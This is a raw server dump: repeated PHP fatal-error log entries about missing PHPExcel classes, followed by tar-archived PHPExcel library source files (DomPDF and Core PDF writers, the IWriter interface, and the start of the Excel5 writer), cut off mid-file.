/home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [20-May-2024 13:54:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [20-May-2024 15:38:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [20-May-2024 16:11:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [29-May-2024 15:50:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [29-May-2024 21:27:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [29-May-2024 23:32:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [29-May-2024 23:32:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [29-May-2024 23:32:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [29-May-2024 23:32:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [30-May-2024 00:02:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [30-May-2024 03:40:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [10-Jun-2024 23:21:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [12-Jun-2024 01:53:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [12-Jun-2024 06:54:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [17-Jun-2024 01:22:11 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [17-Jun-2024 01:22:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [17-Jun-2024 01:22:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [17-Jun-2024 01:22:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [19-Jun-2024 07:56:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [19-Jun-2024 16:39:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [20-Jun-2024 19:15:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [22-Jun-2024 13:06:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [22-Jun-2024 13:07:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [22-Jun-2024 13:09:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [22-Jun-2024 13:11:16 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [25-Jun-2024 07:33:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [25-Jun-2024 07:33:09 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [25-Jun-2024 07:33:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [25-Jun-2024 07:33:10 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [28-Jun-2024 02:41:28 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [28-Jun-2024 03:09:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [29-Jun-2024 03:49:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 [29-Jun-2024 03:49:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_HTML' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/Core.php on line 28 [29-Jun-2024 03:49:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [29-Jun-2024 03:49:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/DomPDF.php on line 4 [29-Jun-2024 05:19:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/tcPDF.php on line 4 [01-Jul-2024 07:40:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Settings' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php:4 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF/mPDF.php on line 4 PHPExcel/Writer/PDF/DomPDF.php 0000644 00000010015 14642534107 0011626 0 ustar 00 <?php /** Require DomPDF library */ $pdfRendererClassFile = PHPExcel_Settings::getPdfRendererPath() . '/dompdf_config.inc.php'; if (file_exists($pdfRendererClassFile)) { require_once $pdfRendererClassFile; } else { throw new PHPExcel_Writer_Exception('Unable to load PDF Rendering library'); } /** * PHPExcel_Writer_PDF_DomPDF * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_PDF * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_PDF_DomPDF extends PHPExcel_Writer_PDF_Core implements PHPExcel_Writer_IWriter { /** * Create a new PHPExcel_Writer_PDF * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { parent::__construct($phpExcel); } /** * Save PHPExcel to file * * @param string $pFilename Name of the file to save as * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { $fileHandle = parent::prepareForSave($pFilename); // Default PDF paper size $paperSize = 'LETTER'; // Letter (8.5 in. by 11 in.) // Check for paper size and page orientation if (is_null($this->getSheetIndex())) { $orientation = ($this->phpExcel->getSheet(0)->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->phpExcel->getSheet(0)->getPageSetup()->getPaperSize(); $printMargins = $this->phpExcel->getSheet(0)->getPageMargins(); } else { $orientation = ($this->phpExcel->getSheet($this->getSheetIndex())->getPageSetup()->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->phpExcel->getSheet($this->getSheetIndex())->getPageSetup()->getPaperSize(); $printMargins = $this->phpExcel->getSheet($this->getSheetIndex())->getPageMargins(); } $orientation = ($orientation == 'L') ? 'landscape' : 'portrait'; // Override Page Orientation if (!is_null($this->getOrientation())) { $orientation = ($this->getOrientation() == PHPExcel_Worksheet_PageSetup::ORIENTATION_DEFAULT) ? PHPExcel_Worksheet_PageSetup::ORIENTATION_PORTRAIT : $this->getOrientation(); } // Override Paper Size if (!is_null($this->getPaperSize())) { $printPaperSize = $this->getPaperSize(); } if (isset(self::$paperSizes[$printPaperSize])) { $paperSize = self::$paperSizes[$printPaperSize]; } // Create PDF $pdf = new DOMPDF(); $pdf->set_paper(strtolower($paperSize), $orientation); $pdf->load_html( $this->generateHTMLHeader(false) . $this->generateSheetData() . $this->generateHTMLFooter() ); $pdf->render(); // Write to file fwrite($fileHandle, $pdf->output()); parent::restoreStateAfterSave($fileHandle); } } PHPExcel/Writer/PDF/Core.php 0000644 00000033123 14642534107 0011452 0 ustar 00 <?php /** * PHPExcel_Writer_PDF_Core * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_PDF * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ abstract class PHPExcel_Writer_PDF_Core extends PHPExcel_Writer_HTML { /** * Temporary storage directory * * @var string */ protected $tempDir = ''; /** * Font * * @var string */ protected $font = 'freesans'; /** * Orientation (Over-ride) * * @var string */ protected $orientation; /** * Paper size (Over-ride) * * @var int */ protected $paperSize; /** * Temporary storage for Save Array Return type * * @var string */ private $saveArrayReturnType; /** * Paper Sizes xRef List * * @var array */ protected static $paperSizes = array( PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER => 'LETTER', // (8.5 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER_SMALL => 'LETTER', // (8.5 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_TABLOID => array(792.00, 1224.00), // (11 in. by 17 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LEDGER => array(1224.00, 792.00), // (17 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LEGAL => 'LEGAL', // (8.5 in. by 14 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_STATEMENT => array(396.00, 612.00), // (5.5 in. by 8.5 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_EXECUTIVE => 'EXECUTIVE', // (7.25 in. by 10.5 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A3 => 'A3', // (297 mm by 420 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4 => 'A4', // (210 mm by 297 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4_SMALL => 'A4', // (210 mm by 297 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A5 => 'A5', // (148 mm by 210 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_B4 => 'B4', // (250 mm by 353 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_B5 => 'B5', // (176 mm by 250 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_FOLIO => 'FOLIO', // (8.5 in. by 13 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_QUARTO => array(609.45, 779.53), // (215 mm by 275 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_STANDARD_1 => array(720.00, 1008.00), // (10 in. by 14 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_STANDARD_2 => array(792.00, 1224.00), // (11 in. by 17 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_NOTE => 'LETTER', // (8.5 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_NO9_ENVELOPE => array(279.00, 639.00), // (3.875 in. by 8.875 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_NO10_ENVELOPE => array(297.00, 684.00), // (4.125 in. by 9.5 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_NO11_ENVELOPE => array(324.00, 747.00), // (4.5 in. by 10.375 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_NO12_ENVELOPE => array(342.00, 792.00), // (4.75 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_NO14_ENVELOPE => array(360.00, 828.00), // (5 in. by 11.5 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_C => array(1224.00, 1584.00), // (17 in. by 22 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_D => array(1584.00, 2448.00), // (22 in. by 34 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_E => array(2448.00, 3168.00), // (34 in. by 44 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_DL_ENVELOPE => array(311.81, 623.62), // (110 mm by 220 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_C5_ENVELOPE => 'C5', // (162 mm by 229 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_C3_ENVELOPE => 'C3', // (324 mm by 458 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_C4_ENVELOPE => 'C4', // (229 mm by 324 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_C6_ENVELOPE => 'C6', // (114 mm by 162 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_C65_ENVELOPE => array(323.15, 649.13), // (114 mm by 229 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_B4_ENVELOPE => 'B4', // (250 mm by 353 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_B5_ENVELOPE => 'B5', // (176 mm by 250 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_B6_ENVELOPE => array(498.90, 354.33), // (176 mm by 125 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_ITALY_ENVELOPE => array(311.81, 651.97), // (110 mm by 230 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_MONARCH_ENVELOPE => array(279.00, 540.00), // (3.875 in. by 7.5 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_6_3_4_ENVELOPE => array(261.00, 468.00), // (3.625 in. by 6.5 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_US_STANDARD_FANFOLD => array(1071.00, 792.00), // (14.875 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_GERMAN_STANDARD_FANFOLD => array(612.00, 864.00), // (8.5 in. by 12 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_GERMAN_LEGAL_FANFOLD => 'FOLIO', // (8.5 in. by 13 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_ISO_B4 => 'B4', // (250 mm by 353 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_JAPANESE_DOUBLE_POSTCARD => array(566.93, 419.53), // (200 mm by 148 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_STANDARD_PAPER_1 => array(648.00, 792.00), // (9 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_STANDARD_PAPER_2 => array(720.00, 792.00), // (10 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_STANDARD_PAPER_3 => array(1080.00, 792.00), // (15 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_INVITE_ENVELOPE => array(623.62, 623.62), // (220 mm by 220 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER_EXTRA_PAPER => array(667.80, 864.00), // (9.275 in. by 12 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LEGAL_EXTRA_PAPER => array(667.80, 1080.00), // (9.275 in. by 15 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_TABLOID_EXTRA_PAPER => array(841.68, 1296.00), // (11.69 in. by 18 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4_EXTRA_PAPER => array(668.98, 912.76), // (236 mm by 322 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER_TRANSVERSE_PAPER => array(595.80, 792.00), // (8.275 in. by 11 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4_TRANSVERSE_PAPER => 'A4', // (210 mm by 297 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER_EXTRA_TRANSVERSE_PAPER => array(667.80, 864.00), // (9.275 in. by 12 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_SUPERA_SUPERA_A4_PAPER => array(643.46, 1009.13), // (227 mm by 356 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_SUPERB_SUPERB_A3_PAPER => array(864.57, 1380.47), // (305 mm by 487 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER_PLUS_PAPER => array(612.00, 913.68), // (8.5 in. by 12.69 in.) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4_PLUS_PAPER => array(595.28, 935.43), // (210 mm by 330 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A5_TRANSVERSE_PAPER => 'A5', // (148 mm by 210 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_JIS_B5_TRANSVERSE_PAPER => array(515.91, 728.50), // (182 mm by 257 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A3_EXTRA_PAPER => array(912.76, 1261.42), // (322 mm by 445 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A5_EXTRA_PAPER => array(493.23, 666.14), // (174 mm by 235 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_ISO_B5_EXTRA_PAPER => array(569.76, 782.36), // (201 mm by 276 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A2_PAPER => 'A2', // (420 mm by 594 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A3_TRANSVERSE_PAPER => 'A3', // (297 mm by 420 mm) PHPExcel_Worksheet_PageSetup::PAPERSIZE_A3_EXTRA_TRANSVERSE_PAPER => array(912.76, 1261.42) // (322 mm by 445 mm) ); /** * Create a new PHPExcel_Writer_PDF * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { parent::__construct($phpExcel); $this->setUseInlineCss(true); $this->tempDir = PHPExcel_Shared_File::sys_get_temp_dir(); } /** * Get Font * * @return string */ public function getFont() { return $this->font; } /** * Set font. Examples: * 'arialunicid0-chinese-simplified' * 'arialunicid0-chinese-traditional' * 'arialunicid0-korean' * 'arialunicid0-japanese' * * @param string $fontName */ public function setFont($fontName) { $this->font = $fontName; return $this; } /** * Get Paper Size * * @return int */ public function getPaperSize() { return $this->paperSize; } /** * Set Paper Size * * @param string $pValue Paper size * @return PHPExcel_Writer_PDF */ public function setPaperSize($pValue = PHPExcel_Worksheet_PageSetup::PAPERSIZE_LETTER) { $this->paperSize = $pValue; return $this; } /** * Get Orientation * * @return string */ public function getOrientation() { return $this->orientation; } /** * Set Orientation * * @param string $pValue Page orientation * @return PHPExcel_Writer_PDF */ public function setOrientation($pValue = PHPExcel_Worksheet_PageSetup::ORIENTATION_DEFAULT) { $this->orientation = $pValue; return $this; } /** * Get temporary storage directory * * @return string */ public function getTempDir() { return $this->tempDir; } /** * Set temporary storage directory * * @param string $pValue Temporary storage directory * @throws PHPExcel_Writer_Exception when directory does not exist * @return PHPExcel_Writer_PDF */ public function setTempDir($pValue = '') { if (is_dir($pValue)) { $this->tempDir = $pValue; } else { throw new PHPExcel_Writer_Exception("Directory does not exist: $pValue"); } return $this; } /** * Save PHPExcel to PDF file, pre-save * * @param string $pFilename Name of the file to save as * @throws PHPExcel_Writer_Exception */ protected function prepareForSave($pFilename = null) { // garbage collect $this->phpExcel->garbageCollect(); $this->saveArrayReturnType = PHPExcel_Calculation::getArrayReturnType(); PHPExcel_Calculation::setArrayReturnType(PHPExcel_Calculation::RETURN_ARRAY_AS_VALUE); // Open file $fileHandle = fopen($pFilename, 'w'); if ($fileHandle === false) { throw new PHPExcel_Writer_Exception("Could not open file $pFilename for writing."); } // Set PDF $this->isPdf = true; // Build CSS $this->buildCSS(true); return $fileHandle; } /** * Save PHPExcel to PDF file, post-save * * @param resource $fileHandle * @throws PHPExcel_Writer_Exception */ protected function restoreStateAfterSave($fileHandle) { // Close file fclose($fileHandle); PHPExcel_Calculation::setArrayReturnType($this->saveArrayReturnType); } } PHPExcel/Writer/IWriter.php 0000644 00000002504 14642534107 0011535 0 ustar 00 <?php /** * PHPExcel_Writer_IWriter * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ interface PHPExcel_Writer_IWriter { /** * Save PHPExcel to file * * @param string $pFilename Name of the file to save * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null); } PHPExcel/Writer/Excel5.php 0000644 00000117545 14642534107 0011311 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5 * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel5 extends PHPExcel_Writer_Abstract implements PHPExcel_Writer_IWriter { /** * PHPExcel object * * @var PHPExcel */ private $phpExcel; /** * Total number of shared strings in workbook * * @var int */ private $strTotal = 0; /** * Number of unique shared strings in workbook * * @var int */ private $strUnique = 0; /** * Array of unique shared strings in workbook * * @var array */ private $strTable = array(); /** * Color cache. Mapping between RGB value and color index. * * @var array */ private $colors; /** * Formula parser * * @var PHPExcel_Writer_Excel5_Parser */ private $parser; /** * Identifier clusters for drawings. Used in MSODRAWINGGROUP record. * * @var array */ private 